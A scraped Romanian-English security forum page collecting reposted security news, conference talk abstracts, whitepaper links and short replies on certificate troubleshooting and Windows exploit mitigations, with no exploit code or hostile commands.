Nytro

Esti batran Lucrez cu niste contoare care au 3 tipuri de firmware pe ele: 1. Firmware de meter - care inregistreaza consumul electric 2. Firmware de ASM - are interpretor pentru un limbaj asemanator cu ASM, compilat, pe care il executa 3. Firmware de radio (wireless) - cu care se conecteaza la o retea wireless si trimite datele de pe meter Pentru encryptia datelor, pe langa cea de layer 2 se poate folosi AES sau ECC la nivelul de aplicatie. Contoarele electrice din ziua de azi nu sunt tocmai niste porcarii

Nmap Development: Re: Hakin9's new Nmap Guide

Windows Root Certificate Program members

XPATH Injection Authored by Chetan Soni This is a brief whitepaper that covers XPATH injection attacks and use cases. In a typical Web Application architecture, the data is stored on a Database server. This Database server store data in various formats like an LDAP, XML or RDBMS database. The application queries the server and accesses the information based on the user input. Normally attackers try to extract more information than allowed by manipulating or using the query with specially crafted inputs. Download: http://packetstormsecurity.com/files/download/123483/xpath-injection.pdf Sursa: XPATH Injection ? Packet Storm

Windows NT native API reference Exemplu: ZwQuerySystemInformation queries information about the system. NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); Parameters SystemInformationClass The type of system information to be queried.The permitted values are a subset of the enumeration SYSTEM_INFORMATION_CLASS, described in the following section. SystemInformation Points to a caller-allocated buffer or variable that receives the requested system information. SystemInformationLength The size in bytes of SystemInformation, which the caller should set according to the given SystemInformationClass. ReturnLength Optionally points to a variable that receives the number of bytes actually returned to SystemInformation; if SystemInformationLength is too small to contain the available information, the variable is normally set to zero except for two information classes (6 and 11) when it is set to the number of bytes required for the available information. If this information is not needed, ReturnLength may be a null pointer. Download: multi-desktop-manager.googlecode.com/files/NativeAPI.pdf

Am globul de cristal in service, nu pot ghici de ce nu iti merge, de aceea as sugera sa imi dai ceva mai multe detalii... Ce telefon ai? Ce versiune a sistemului de operare? Ce certificate ai instalate? Ce eroare de conexiune primesti?

ImmuniWeb® Self-Fuzzer From: ImmuniWeb® Self-Fuzzer <self-fuzzer () htbridge com> Date: Thu, 03 Oct 2013 00:47:47 +0400 ImmuniWeb® Self-Fuzzer is a simple Firefox browser extension designed to detect Cross-Site Scripting (XSS) and SQL Injection vulnerabilities in web applications. It demonstrates how rapidly and easily these two most common types of web vulnerabilities can be found even by a person who is not familiar with web security. ImmuniWeb® Self-Fuzzer is not a web application security scanner or crawler, but a real-time web fuzzer. Once being activated by user in his browser, it carefully follows user’s HTTP requests and fuzzes them in real time, carefully checking all HTTP parameters passed within the requests. Results of fuzzing are also displayed in real-time, notifying user immediately upon vulnerability detection. Addon page: https://addons.mozilla.org/en/firefox/addon/immuniweb-self-fuzzer/ White Paper & HowTo: https://www.htbridge.com/publications/immuniweb_self_fuzzer_firefox_extension.html Sursa: WebApp Sec: ImmuniWeb® Self-Fuzzer

Derbycon 2013 - Tmi: How To Attack Sharepoint Servers And Tools To Make It Easier - Kevin Johnson And James Jardine Description: Description: SharePoint has become one of the most common platforms in organizations today. Originally designed for simple content management, it has grown into a workflow, CMS and communication powerhouse that run on intranets and the Internet all over the Internet. While it is powerful, most organizations do not realize the risks it exposes within their organization. Kevin Johnson and James Jardine of Secure Ideas will be walking attendees through the systems available under the SharePoint name, as well as showing ways that penetration testers are able to assess and exploit them. They will also be releasing a series of tools and guidelines to help organizations assess their SharePoint systems. < Bio: “Kevin Johnson is the Chief Executive Officer of Secure Ideas. Kevin has a long history in the IT field including system administration, network architecture and application development. He has been involved in building incident response and forensic teams, architecting security solutions for large enterprises and penetration testing everything from government agencies to Fortune 100 companies. In addition, Kevin is an instructor and author for the SANS Institute and a faculty member at IANS. He is also a contributing blogger at TheMobilityHub. Kevin has performed a large number of trainings, briefings and presentations for both public events and internal trainings. Kevin teaches for the SANS Institute on a number of subjects. He is the author of three classes: SEC542: Web Application Penetration Testing and Ethical Hacking, SEC642: Advanced Web Application Penetration Testing and SEC571: Mobile Device Security. Kevin has also presented at a large number of conventions, meetings and industry events. Some examples of these are: DerbyCon, ShmooCon, DEFCON, Blackhat, ISACA, Infragard and ISSA. Kevin is also very involved in the open source community. He runs a number of open source projects. These include SamuraiWTF; a web pen-testing environment, Laudanum; a collection of injectable web payloads, Yokoso; an infrastructure fingerprinting project and a number of others. Kevin is also involved in MobiSec and SH5ARK. Kevin was the founder and lead of the BASE project for Snort before transitioning that to another developer. James Jardine is a Principal Security Consultant with Secure Ideas, LLC. James has over 12 years of software development experience with over half of that focusing on application security. During his long development history, he has had the opportunity to write both large enterprise applications, thick clients, and mobile applications. He has held many roles including senior developer, software architect, and application security expert. In addition, James is an instructor and author for the SANS Institute. He is also a contributing blogger for the Secure Ideas blog, the Jardine Software blog, and the SANS Appsec blog. James has performed a number of trainings and presentations for both public events and internal trainings. James teaches the Dev544: Secure Coding in .Net course at the SANS Institute. He is also a contributing author for that course. James will also be teaching a mobile security course that he co-authored at BlackHat USA 2013. He has also presented on multiple webcasts, at the Kentucky ISSA InfoSec Summit, and BSides Orlando. In addition, James is the co-host of the Professionally Evil Perspective podcast and the Down the Security Rabbithole podcast. James is also involved in the open source community. he runs a number of open source projects. These include WCSA; a security analyzer for web.config files, and EventValMod; a tool to modify event validation values in .Net. He is also a contributor to the Laudanum project; a collection of injectable web payloads.” For More Information please visit : - Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Tmi: How To Attack Sharepoint Servers And Tools To Make It Easier - Kevin Johnson And James Jardine

Windows 8.1 stops pass-the-hash attacks Microsoft has armor-plated Windows 8.1 against the most feared attack on the planet. Here are the nitty-gritty details you need to know By Roger A. Grimes | InfoWorld Follow @rogeragrimes Pass-the-hash (PtH) attacks are among the most feared cyber attacks in the computer world. Many of my largest customers (Fortune 500, government, and so on) have told me it's their No. 1 worry above all other attack types. With PtH and other credential theft attacks, a hacker gains admin control over a computer, steals authentication credentials from disk or memory, and uses those credentials to initiate new connections and logons. Most operating systems are vulnerable to PtH attacks, although Microsoft Windows has certainly been the primary target thanks to its pervasiveness in the corporate environment and the availability of PtH tools. [ InfoWorld presents the Bossies 2013, the best open source software for security, data centers, clouds, and more. | Keep up with key security issues with InfoWorld's Security Central newsletter. ] Attackers using PtH attacks completely compromise just about every network they hit. Pretty much every APT (advanced persistent threat) attack team uses them. Every penetration test team uses them. And the tools to accomplish PtH attacks have only gotten better. That's why the anti-PtH measures built into Windows 8.1 are such a big deal. Hands off the hash Before Windows 8.1, the only real mitigations against PtH attacks were: Don't let hackers get admin control of your box Don't log on with elevated accounts, especially on computers not directly under your control Restrict the ability of local accounts to be used over the network Restrict what computers can connect to (using firewalls, IPSec, and so on) Force a reboot after logging on with an elevated account Unfortunately, most of these recommendations were difficult for most enterprises to implement without a lot of new policies, procedures, and elbow grease. On the software side, it's very difficult for any OS, including Windows, to stop PtH attacks while maintaining the SSO (single-sign-on) functionality customers absolutely require. Asking users to re-enter their logons every time they want to connect to new application, service, or drive share is the quickest way to make your OS obsolete. To the pleasant surprise of a lot of people, Windows 8.1 includes comprehensive pass-the-hash mitigations. While it doesn't completely eliminate the threat, it comes pretty darn close. Here's a summary of the PtH mitigations available in Windows 8.1: Strengthened LSASS to prevent hash dumps Many processes that used to store credentials in memory no longer do so Better methods to restrict local accounts from going over the network Programs no longer leave credentials in memory after a user logs out Allow RDP (Remote Desktop Protocol) connections to be used without putting the user's credentials on the remotely controlled computer Addition of a new Protected Users group, whose members' credentials cannot be used in remote PtH attacks Several other OS changes that make PtH attacks far more difficult to achieve (see the Technet summary) For those who want to drill down and determine how these new anti-PtH measures have been implemented here's some more detail: Protecting LSASS LSASS.exe is the main process used by Windows to verify authentication -- the same process most hacking tools attack to grab authentication credentials out of memory and on the disk. Most hacking tools work by intercepting LSASS and injecting their code into the process. In Windows 8.1, this is no longer possible (or much more difficult, at the very least). LSASS can be made a protected process, which makes it a lot harder to be manipulated by rogue software. Plus, it no longer stores LM hashes or plaintext equivalents in memory (already, Windows doesn't store those types of credentials on disk by default). Because protection of LSASS may break some legitimate legacy software, this is not enabled by default on anything but Windows 8.1 RT. I recommend that all admins worried about PtH attacks enable this feature after thorough testing. New security identifiers There are two new built-in security identifiers, called "Local account" and "Local account and member of the Administrators group." You can place all your local sensitive accounts in these groups, then use them to apply permissions, privileges, and policies. For instance, previous PtH mitigations recommended giving local admin accounts a privilege called Deny Network Logons, which would prevent them from being used to access Active Directory network resources. This is still a great mitigation, but it previously required that each individual account be marked with the denial privilege and that admins keep up with individual adds, moves, and changes. Now you can apply the privilege to the new SIDs and be done with it. Fixing RDP One of my biggest pet peeves regarding RDP is that it ends up putting the admin's logon credentials on the remote box being accessed. I used to recommend that admins use just about any other remote admin method (such as MMC or PowerShell) instead of RDP. In Windows 8.1, with the new restrictadmin feature enabled, RDP it doesn't put stealable credentials on the remote computer being managed. This is a big win -- enterprises around the world, celebrate! Protected Users group Members of the new Protected Users group are significantly harder to exploit in PtH attacks. Members can use only Kerberos, and their credentials cannot be delegated. Yes, Kerberos tickets can be used in credential theft attacks, but attackers aren't nearly as familiar with Kerberos, and the lack of delegation makes PtH attacks far more difficult. Many of these features are configurable, and they're protected by UEFI and SecureBoot; you can also turn them on and off. The only caveat I can think of is that all of these new mitigations are currently available only in Windows 8.1 and in Windows Server 2012 R2. I have little doubt customers will want these mitigations back-ported to previous versions, but I have no idea what Microsoft's plans are -- or even if it is reasonably possible to accomplish without causing too many operational problems. This story, "Windows 8.1 stops pass-the-hash attacks," was originally published at InfoWorld.com. Keep up on the latest developments in network security and read more of Roger Grimes' Security Adviser blog at InfoWorld.com. For the latest business technology news, follow InfoWorld.com on Twitter. Sursa: Windows 8.1 stops pass-the-hash attacks | Security - InfoWorld

So I’m the guy who sent the t-shirt out as a thank you. By Ramses Martinez, Director, Yahoo Paranoids So, I am the guy who started sending t-shirts as a thanks to people when they sent us a potential vulnerability issue. What an interesting 36 hours it has been Here’s the story. When I first took over the team that works with the security community on issues and vulnerabilities, we didn’t have a formal process to recognize and reward people who sent issues to us. We were very fast to remedy issues but didn’t have anything formal for thanking people that sent them in. I started sending a t-shirt as a personal “thanks.” It wasn’t a policy, I just thought it would be nice to do something beyond an email. I even bought the shirts with my own money. It wasn’t about the money, just a personal gesture on my behalf. At some point, a few people mentioned they already had a t-shirt from me, so I started buying a gift certificate so they could get another gift of their choice. The other thing people wanted was a letter they could show their boss or client. I write these letters myself. Most companies offer just a thanks, maybe some schwag, for identifying a potential vulnerability. There are those that offer money. If you’re interested, Bugcrowd.com has a list of what many companies do for bug and vulnerability reports. Of course, when you work for a company that serves more than 800 million people every month, you take network and user security very seriously. We have a large, dedicated team that looks for security vulnerabilities, as well as taking input from the community. When someone reports an issue or vulnerability to us, we react in a few hours, often minutes. We monitor all external reports 24 hours a day, 7 days a week. We recently decided to improve the process of vulnerability reporting. My “send a t-shirt” idea needed an upgrade. This month the security team was putting the finishing touches on the revised program. And then yesterday morning “t-shirt-gate” hit. My inbox was full of angry email from people inside and out of Yahoo. How dare I send just a t-shirt to people as a thanks? So rather than wait any longer, we’ve decided to preview our new vulnerability reporting policy a bit early. Our updated vulnerability reporting policies address five areas: 1) Reporting - We’re improving the reporting process for bugs and vulnerabilities to allow us to react even quicker and more effectively. Our new site will make sending in issues to us easier, and it will be more clear about the process. 2) Issue Validation - Yahoo’s security team currently reviews all submissions from the community within minutes or at most a few hours. We do this 365 days a year, 24 hours a day. This will not change, but the new reporting process will improve our overall speed and quality. 3) Issue Remediation - Like #2, we already act swiftly to address vulnerabilities or issues affecting our network and customers. Again, this is a 24x7 process for Yahoo, and that will not change. It’s important to note that the vulnerability in question in recent press stories had already been resolved by Yahoo’s security team by the time these stories were written. But with a more clear process, we hope to be even faster here, as well. 4) Recognition - Submitted issues are validated by our team. Upon validation we will contact the reporting individual or organization directly. People will be contacted by Yahoo in no more than fourteen days after submission (but typically much faster). And because we know that formal recognition from Yahoo is often useful to an individual’s career or a firm’s reputation, we will issue a formal recognition of your help either in an email or written letter, as appropriate. For the best reported issues, we will directly call out from our site an individual’s contribution in a “hall of fame.” 5) Reward - Out with t-shirts that I buy. Yahoo will now reward individuals and firms that identify what we classify as new, unique and/or high risk issues between $150 - $15,000. The amount will be determined by a clear system based on a set of defined elements that capture the severity of the issue. We’re excited to get this new process going and believe it will improve Yahoo’s relationship and effectiveness with the security community. We are committed to further improvements going forward. We take your help on improving the security of our services seriously. The small print on the revised policy isn’t quite final. We will release the new policy by October 31, 2013. In the meantime, the benefits of the policy will be implemented retroactively back to July 1, 2013. If you submitted something to us and we responded with an acknowledgement (and probably a t-shirt) after July 1st, we will reconnect with you about this new program. This includes, of course, a check for the researchers at High-Tech Bridge who didn’t like my t-shirt. Sursa: So I’m the guy who sent the t-shirt out as a thank you. | Yahoo! Developer Network

Ce sistem de operare ai? E cu update-uri la zi?

Daca ai Linux: ls -ls /etc/ssl/certs/ Daca ai Windows: 1. Start 2. certmgr.msc 3. Intermediate Certification Authorities 4. Certificates In ambele cazuri cauta certificatul: "StartCom Class 1 Primary Intermediate Server CA" Si verifica data de expirare. Pe Linux, in functie de calea certificatului (la mine era symlink): openssl x509 -in /usr/share/ca-certificates/mozilla/StartCom_Certification_Authority.crt -startdate -enddate Daca nu e certificatul, descarcati asta: http://www.startssl.com/certs/sub.class1.server.ca.pem In "/etc/ssl/certs/". PS: Daca aveti Windows 95/98/XP si nu ati facut update-uri sa va dau la muie.

[h=1]FBI demands SSL Keys from Secure-Email provider Lavabit in Espionage probe[/h] During the summer, The Secure email provider 'Lavabit' and preferred service for PRISM leaker Edward Snowden decided to shut down after 10 years to avoid being complicit in crimes against the American people. The U.S. Government obtained a secret court order demanding private SSL key from Lavabit, which would have allowed the FBI to wiretap the service’s users, according to Wired. Ladar Levison, 32, has spent ten years building encrypted email service Lavabit, attracting over 410,000 users. When NSA whistleblower Edward Snowden was revealed to be one of those users in July, Ladar received the court orders to comply, intended to trace the Internet IP address of a particular Lavabit user, but he refused to do so. The offenses under investigation are listed as violations of the Espionage Act and Founder was ordered to record and provide the connection information on one of its users every time that user logged in to check his e-mail. The Government complained that the Lavabit had the technical capability to decrypt the information, but that Lavabit did not want to defeat its own system, So on the same day, U.S. Magistrate Judge Theresa Buchanan ordered Lavabit to comply, threatening Lavabit with criminal contempt. FBI's search warrant also demanded all information necessary to decrypt communications sent to or from the Lavabit email account redacted including encryption keys and SSL keys. But because Lavabit hadn’t complied till August 5, and a court ordered that Levison would be fined $5,000 a day beginning August 6, for every day he refused to turn over the key. On August 8, Levison finally decided to shut down Lavabit. “I’m taking a break from email,” said Levison. “If you knew what I know about email, you might not use it either.” Sursa: FBI demands SSL Keys from Secure-Email provider Lavabit in Espionage probe - The Hacker News

Hitb 2013 - Nikita Tarakanov - Exploiting Hardcore Pool Corruptions In Ms Windows Kernel Description: PRESENTATION ABSTRACT: Each new version of Windows OS Microsoft enhances security by adding security mitigation mechanisms -- Kernel land vulnerabilities are getting more and more valuable these days. For example, the easy way to escape from a sandbox (Google Chrome sandbox for example) is by using a kernel vulnerability. That's why Microsoft struggles to enhance security of Windows kernel. Kernel Pool allocator plays significant role in security of whole kernel. Since Windows 7, Microsoft started to enhance the security of the Windows kernel pool allocator. Tarjei Mandt aka @kernelpool has done a great job in analyzing the internals of the Windows kernel pool allocator and found some great attack techniques, mitigations bypasses etc. In Windows 8 however, Microsoft has eliminated almost all reliable techniques of exploiting kernel pool corruptions. An attack technique by Tarjei needs a lot of prerequisites to be successful and there are a lot of types of pool corruptions where his techniques don't work unfortunately. What if there is no control over overflown data? What if there is constant (zero bytes) and you have no chance to apply one of Tarjei's techniques? What if there is uncontrolled continuous overflow and #PF and BSOD is unavoidable? So what to do? Commit suicide instantly? NO! Come and see this talk! We present a technique of 100% reliable exploitation of kernel pool corruptions which covers all flavors of Windows from NT 4.0 to Windows 8. ABOUT NIKITA TARAKANOV Nikita Tarakanov is an independent information security researcher who has worked as an IS researcher in Positive Technologies, VUPEN Security and CISS. He likes writing exploits, especially for Windows NT Kernel and won the PHDays Hack2Own contest in 2011 and 2012. He also tried to hack Google Chrome during Pwnium 2 at HITB2012KUL but failed. He has published a few papers about kernel mode drivers and their exploitation and is currently engaged in reverse engineering research and vulnerability search automation. For More Information please visit : - HITBSecConf - NETHERLANDS / MALAYSIA Sursa: Hitb 2013 - Nikita Tarakanov - Exploiting Hardcore Pool Corruptions In Ms Windows Kernel

Hitb 2013 - Travis Goodspeed - Nifty Tricks And Sage Advice For Shellcode On Embedded Systems Description: PRESENTATION ABSTRACT: This lecture presents a bunch of clever tricks that will save you time and headaches when writing exploits for small embedded systems, such as smart meters, thermostats, keyboards, and mice. You'll learn how to write tiny shellcode that's quickly portable to any variant of ARM, as well as how to exploit memory corruption on an 8-bit micro that's incapable of executing RAM. You'll learn how to develop an embedded exploit without a debugger, and how to blindly assemble a ROP chain when you don't have a firmware image. Note: No machines harmed in this lecture had enough RAM to hold CALC.EXE. ABOUT TRAVIS GOODSPEED Travis Goodspeed is a neighborly reverse engineer from Southern Appalachia, where he is rumored to keep a warehouse full of GoodFET boards and a nifty satellite dish. His prior projects include a dozen key-extraction exploits for Zigbee and WSN devices, bootloader exploits for microcontrollers, and the Facedancer, a tool for emulating USB hardware in Python. For More Information please visit : - HITBSecConf - NETHERLANDS / MALAYSIA Sursa: Hitb 2013 - Travis Goodspeed - Nifty Tricks And Sage Advice For Shellcode On Embedded Systems

[h=1]Steganos Safe 14 – licenta GRATUITA[/h] By Radu FaraVirusi(com) on October 2, 2013 Intimitatea online sau offline este o caracteristica cheie pe care toti vor sa o aiba atunci cand stau in fata calculatorului. De cele mai multe ori nu se poate realiza, sau necesita timp si multe programe mai mult sau mai putin utile. Steganos Safe 14 este un produs excelent care combina 8 utilitare de baza pentru realizarea dezideratului enuntat mai sus. “Steganos Safe”, permite crearea unui numar nelimitat de partitii virtuale securizate, folosind tehnologia de criptare 256-bit Advanced Encryption Standard (AES) algorithm, fiecare partitie putand stoca pana la 512 GB de date. “Portable Safe” face acelasi lucru, doar ca foloseste un stick USB, sau un CD\DVD. Puteti cripta orice stick USB sau CD, si introdus in orice alt PC va solicita parola setata anterior pentru a accesa datele stocate. “Private Favorites” cripteaza site-urile adaugate la bookmark in Internet Explorer pentru a nu fi accesate de persoane neutorizate. “File Manager” permite crearea unor fisiere criptate, extragerea continutului din acestea si gestionarea lor intr-un mod corespunzator. “Shredder” sterge definitiv orice fisier pe care nu doriti sa-l mai recuperati vreodata nici dumneavoastra, nici alta persoana ce va accesa PC-ul. Foloseste mai multe tehnologii, printre care DoD 5220.22-M/NISPOM 8-306. “Password Manager” va permite crearea unor liste criptate, ce contin conturi de utilizator, parole, cod-uri PIN, conturi bancare si alte parole si nume de utilizator folosite online sau offline pe respectivul calculator. Astfel nu va trebui sa le cautati peste tot cand aveti nevoie de ele si nici nu le veti duce grija, deoarece sunt in siguranta si protejate de Steganos. Celelalte utilitare sunt “E-mail Encryption”, si “Internet Trace Destructor”. Pentru a obtine GRATUIT acest soft, accesati link-ul de mai jos: https://www.steganos.com/specials/?m=chip&p=safe14 Introduceti o adresa de e-mail valida si apasati “OK“. Veti primi serialul de inregistrare prin e-mail. Sursa: Steganos Safe 14 – licenta GRATUITA

Oare sunt singurul caruia ii pare bine?

50 Security Issues Fixed with the Release of Chrome 30 - 50 vulnerabilities fixed in Chrome October 2nd, 2013, 07:32 GMT · By Eduard Kovacs Google has released Chrome 30, and a total of 50 security issues have been fixed in this latest version. The list of vulnerabilities reported by external researchers includes ten high-impact and six medium-impact flaws. The high-impact issues refer to use-after-free vulnerabilities in inline-block rendering, in PPAPI, in XML document parsing, in DOM, in resource loader, in the Windows color chooser dialog, and in template element. A memory corruption in V8 and an address bar spoofing bug related to the “204 No Content” status code also fall into this category. The medium-impact vulnerabilities include a use-after-free in Web Audio, an out of bounds read in the same component, and an out of bounds read in URL parsing. The security researchers credited for finding vulnerabilities are Atte Kettunen of OUSPG, Boris Zbarsky, Chamal de Silva, Byoungyoung Lee, and Tielei Wang of Georgia Tech, cloudfuzzer, Khalil Zhani, Wander Groeneveld, Masato Kinugawa, Adam Haile of Concrete Data, and Jon Butler. They’ve been rewarded with a total of $19,000 (€14,000) for their work. Atte Kettunen, cloudfuzzer, and miaubiz have been awarded an additional $8,000 (€5,900) for working with Google on addressing security issues during the development cycle. Download Google Chrome Sursa: 50 Security Issues Fixed with the Release of Chrome 30

Undetectable hardware Trojans could compromise cryptography By Brian Dodson October 2, 2013 Undetectable hardware Trojans could subvert cryptographic security (Image: Shutterstock) Researchers have shown that it is possible to compromise the functioning of a cryptographic chip without changing its physical layout. Based on altering the distribution of dopants in a few components on the chip during fabrication, this method represents a big challenge for cyber-security as it is nearly impossible to detect with any currently practical detection scheme. Progress in the design and fabrication of processor chips is mainly aimed at making them faster and smaller. There is another important requirement, however – ensuring that they function as intended. In particular, the cryptographic functions of new chips must provide the level of security with which they were designed. If they fail in this task, even use of sophisticated security software, physical isolation, and well vetted operators cannot ensure the security of a system. Such structural attacks on the functions of a chip are called hardware Trojans, and are capable of rendering ineffective the security protecting our most critical computer systems and data. Both industry and governments have put a great deal of not very public effort into the problem of hardware Trojans. The most reliable tests to find hardware Trojans will be applied to the finished product. So how are they tested and what are the implications of the new research? Functional Testing Functional testing is the sort of testing with which most people are familiar. The function of a chip is tested by applying patterns of test inputs to the input pins of the chip. The outputs are monitored, and compared with the outputs expected from the original specifications and definition of the chip. Extremely sophisticated devices for functional testing abound in the world of IC design and fabrication. Unfortunately, such testing is usually not very effective for finding hardware Trojans. It is impossible in any practical sense to test all patterns of activation of all components in the chip, so the test patterns are usually designed to test all the known gates on the chip. While such patterns catch most accidental design flaws and fabrication defects, they are likely to fail to activate malicious logic elements added to the original design. Optical Reverse-Engineering The most direct approach to find hardware Trojans is to disassemble the chip layer by layer, and compare it with the correct structural design. If there is a visible difference (possibly detected with scanning electron microscopy rather than a camera) between the layers of the chip as designed and the layers of the actual chip, there is a problem that needs to be diagnosed. This is essentially the procedure that would be undertaken to reverse-engineer a chip. While reverse-engineering a chip sounds like a good way to detect hardware alterations, the problem is considerably more slippery when the goal is to find hardware Trojans. When reverse-engineering is the goal, you start with your competitor's chip, and try to decipher and duplicate the chip. While various techniques can be applied to the chip to complicate this process, you are never in any doubt that the original chip works properly. If a production chip is suspected of harboring hardware Trojans, however, the structure revealed in the disassembly process must be compared with some reference design. The ideal reference is a "golden chip", meaning a chip known to accurately reflect the goals of the desired chip functionality with no additions, subtractions, or alterations. We'll talk about where such a chip might come from later. Side-channel analysis Side channels refer to side effects of proper operation of a chip being subjected to a functional test. These include the amount of power consumed by the chip, the timing of the signals at the chip pins, and emissions of electromagnetic radiation. Hardware Trojans that add, subtract, or alter enough gates can often be detected in this manner, but the proportion of affected gates has to be one in a thousand or more. In a microprocessor with a billion gates, a million gates would have to be changed for the corresponding Trojan to be detected. Smaller Trojans simply escape notice. The Golden Chip All of the testing methods described above are far more likely to find circuit flaws and faults if they have a certified reference chip, a golden chip, to which the testing results can be compared. Comparison to simulated chip structure and function are not likely to be sufficiently accurate to ensure detection of Trojans. Unfortunately, the complex design and fabrication process is nearly always farmed out to contractors and subcontractors worldwide. While this approach to design and fabrication is cost-effective, the overall manufacturing entity gives up a good deal of control over the various stages of the process. As a result, it is hard to be sure that your golden chip isn't simply a gilt imitation. If a supposedly golden chip actually contains the same hardware Trojans as do the production chips, all the comparative testing in the world won't find them. Dopant-level hardware Trojans As if the potential problems of detecting hardware Trojans in the form of additional and/or sabotaged circuitry are not sufficiently difficult, a team of researchers from the University of Massachusetts, the Technical University of Delft, the University of Lugano, and the Gortz Institute for IT-Security have identified new way in which hardware Trojans could be added to a chip which is essentially undetectable by any of the methods described above. Using that technique, they succeeded in sabotaging the pseudorandom number generator at the heart of the cryptographic functions of the Intel Ivy Bridge processors, which include most of the Intel i3, i5, and i7 processors built using Intel's 22 nm manufacturing process. The UMass team has demonstrated disruption of the Ivy Bridge chip so that it generates far simpler pseudorandom numbers. The resulting chip does not provide acceptable levels of cryptographic security. The authors of this research point out that altered doping profiles are currently used in commercial code-obfuscation systems to prevent an attacker from optically reverse-engineering a chip. This suggests that the changes required to convert an inverter gate into a Trojan gate will not be detected by such structural analysis. Methods do exist to probe the local doping characteristics of a silicon layer, which could in principle be used to identify a hardware Trojan of the type described in the present research. However, these methods examine one tiny patch of material at a time, making their use to check a billion transistors impractical. The doping-profile Trojan approach identified by the UMass-based research team could be applied in many ways to compromise the functionality of cryptographic systems without being noticed. Now that the possibility of such stealthy attacks on cryptographic systems has been established, a great deal of effort will doubtless go into our ability to detect them. Source: Stealthy Dopant-Level Hardware Trojans[PDF] Sursa: Undetectable hardware Trojans could compromise cryptography

Software Defense: mitigating stack corruption vulnerabilties swiat 2 Oct 2013 3:16 AM Introduction One of the oldest forms of memory safety exploitation is that of stack corruption vulnerabilities, with several early high-profile exploits being of this type. It seems fitting therefore to kick off this Software Defense series by looking at the status of software defense today with respect to this age-old problem. Mitigating stack-based corruption vulnerabilities The most common form of stack corruption – overrun of a buffer beyond the amount of stack space that was allocated for it – has been mitigated to some degree since Windows XP via the compiler-based /GS feature. A copy of a per-module random value, the /GS cookie, is placed between the stack local variables and stack metadata including the return address. Before using the return address, the program verifies the integrity of this local copy of the /GS cookie: if its value does not match the master per-process value then an overrun is assumed to have taken place and the program is terminated. The limitations of this defensive device have driven a number of refinements over the years; the main ones are summarized in the following table: Scope of GS protection For performance reasons only a subset of functions are protected with a GS cookie. The scope of this protection was initially aimed primarily at character arrays, where attackers would supply malicious strings, often over the network that the program did not handle correctly. GS enhancements in Visual Studio 2010 extended the scope of GS protection to functions with a far more general range of data structures. Visual Studio 2013 builds on this further and also protects arrays of pointers. Protecting a function with /GS has a codesize cost – the prolog code to set up the GS cookie on the stack and the epilog to verify its value - and the runtime cost of actually executing these extra instructions. The cost of extending the scope of GS protection has been partially offset by a new compiler optimization: if usage of the buffers that have led to the GS cookie can be proven safe by the optimizer – i.e. all writes to the memory associated with these variables is within the bounds of their allocated stack space – then the GS cookie is eliminated. Enabling /GS still typically only inserts a GS check on less than 10% of functions – though clearly this varies considerably depending on usage of local variables in each individual application. Evading the GS check through exception abuse An important aspect touched on above deserves further discussion – the cookie check only occurs at the end of the function. This means that there is a window between the stack corruption and the GS check in which an attacker can seek to gain control. One favoured approach has been to trigger an exception and abuse the resulting exception handling process. On x86, exception metadata associated with SEH is stored on the stack: this includes pointers to the handler code that should be invoked. If the attacker can use the initial stack corruption to modify this SEH metadata – replacing the function pointer with an address of his choosing – then when the exception dispatching code runs, it will transfer control to the attacker-controlled address. Mitigating exception metadata abuse on x86 platforms Again compile-time techniques can help - /SAFESEH effectively creates a whitelist of exception handler addresses. In the corrupted SEH metadata scenario above, the attacker’s modified ‘pointer to exception handler’ address is not on the whitelist thus defeating the simple form of this exploitation technique. It is however costly: all code needs to be recompiled to benefit – as any non-SAFESEH code in the program introduces a “code with unknown SAFESEH whitelist” module – which for application compatibility purposes means that any address inside that module is assumed to be on the whitelist. Windows XP SP2 included a recompile of most OS binaries with /SAFESEH – but even that is not sufficient. Any 3rd party browser plugin (not compiled with /SAFESEH) provided a potential means to evade the /SAFESEH validation. SEHOP SEHOP, supported initially in Windows Vista SP1 (off-by-default) and Windows Server 2008 (on-by-default), provides a more robust solution. We previously described SEHOP in detail, but a summary of the basic idea is as follows. When an exception occurs, SEHOP walks the entire list of SEH metadata structures on the stack and verifies that it terminates at a special “known good handler address”. Any attacker corruption of one of these structures overwrites the forward pointer to the next SEH metadata structure and so breaks the integrity of the list, which is therefore detected by the SEHOP check. Windows 7 added support for per-process opt-in to SEHOP. SEHOP in Windows 8 and Windows 8.1 Windows 8 raises the bar in that SEHOP is enabled by default for applications that built to run on Windows 8 and above (more precisely for any application built with subsystem version greater or equal to 6.2 – see /SUBSYSTEM for details). In Windows 8.1 SEHOP is further improved in a couple of ways. First SEHOP now has a range of 64 possible distinguished FinalExceptionHandler values that may be chosen, instead of just the one handler address within the system DLL that was used previously. The actual distinguished FinalExceptionHandler value used to validate the exception handling frame chain is selected at random during process startup, and differs on a per-process basis. The advantage of this is that SEHOP no longer has a system-wide shared secret, but a per-process secret, such that a local attacker can no longer assume that they know the distinguished value required to pass the frame validation check in a separate process on the local machine. All of the possible FinalExceptionHandler values are also valid SafeSEH handlers. Secondly, Windows 8.1 adds support for SEHOP in kernel mode and enables this by default. Like the enhanced version of SEHOP for user mode, kernel mode SEHOP has 64 possible FinalExceptionHandler addresses, so just disclosing the kernel base address is not enough to defeat kernel SEHOP; one has to be able to read arbitrary kernel memory to do that. GS limitations and future work The effectiveness of the GS design described thus far – even if it were applied to every stack frame and one assumed that the cookie check were always reached after stack memory corruption occurred – is limited to cases where the cookie value is altered. This is what is detected. Important classes of stack-based vulnerability therefore remain that are not mitigated today for example targeted attacker-controlled writes to a stack address, or stack underruns – i.e. the direction of the writes goes towards the start address of the allocation. Visual Studio 2012 updates /GS to emit range checks to mitigate one of the most common types of targeted write scenario that we were seeing through MSRC. Recently published trend data shows that the number of successful exploits of stack-based vulnerabilities represents but a handful of the set of issues faced by our customers. The obstacles posed by GS, SafeSEH and SEHOP and opt-in to these measures by increasing numbers of developers and IT professionals are likely part of the reason behind this. Investment in static analysis tooling has also likely played a part, some of which is available to developers through compiler warnings such as C4789 and CodeAnalysis warnings such as C6200. The lifetime of a stack-based buffer tends to be shorter than its heap counterpart: it is limited to execution of one function – albeit potentially with many callees – making it more tractable to completely analyse its use across the entire program. By contrast pointers to heap allocations are frequently stored in multiple objects with a more complex usage pattern by the program, making it harder for analysis to track usage of a heap buffer with the same level of precision. Although some unmitigated stack-based vulnerability classes 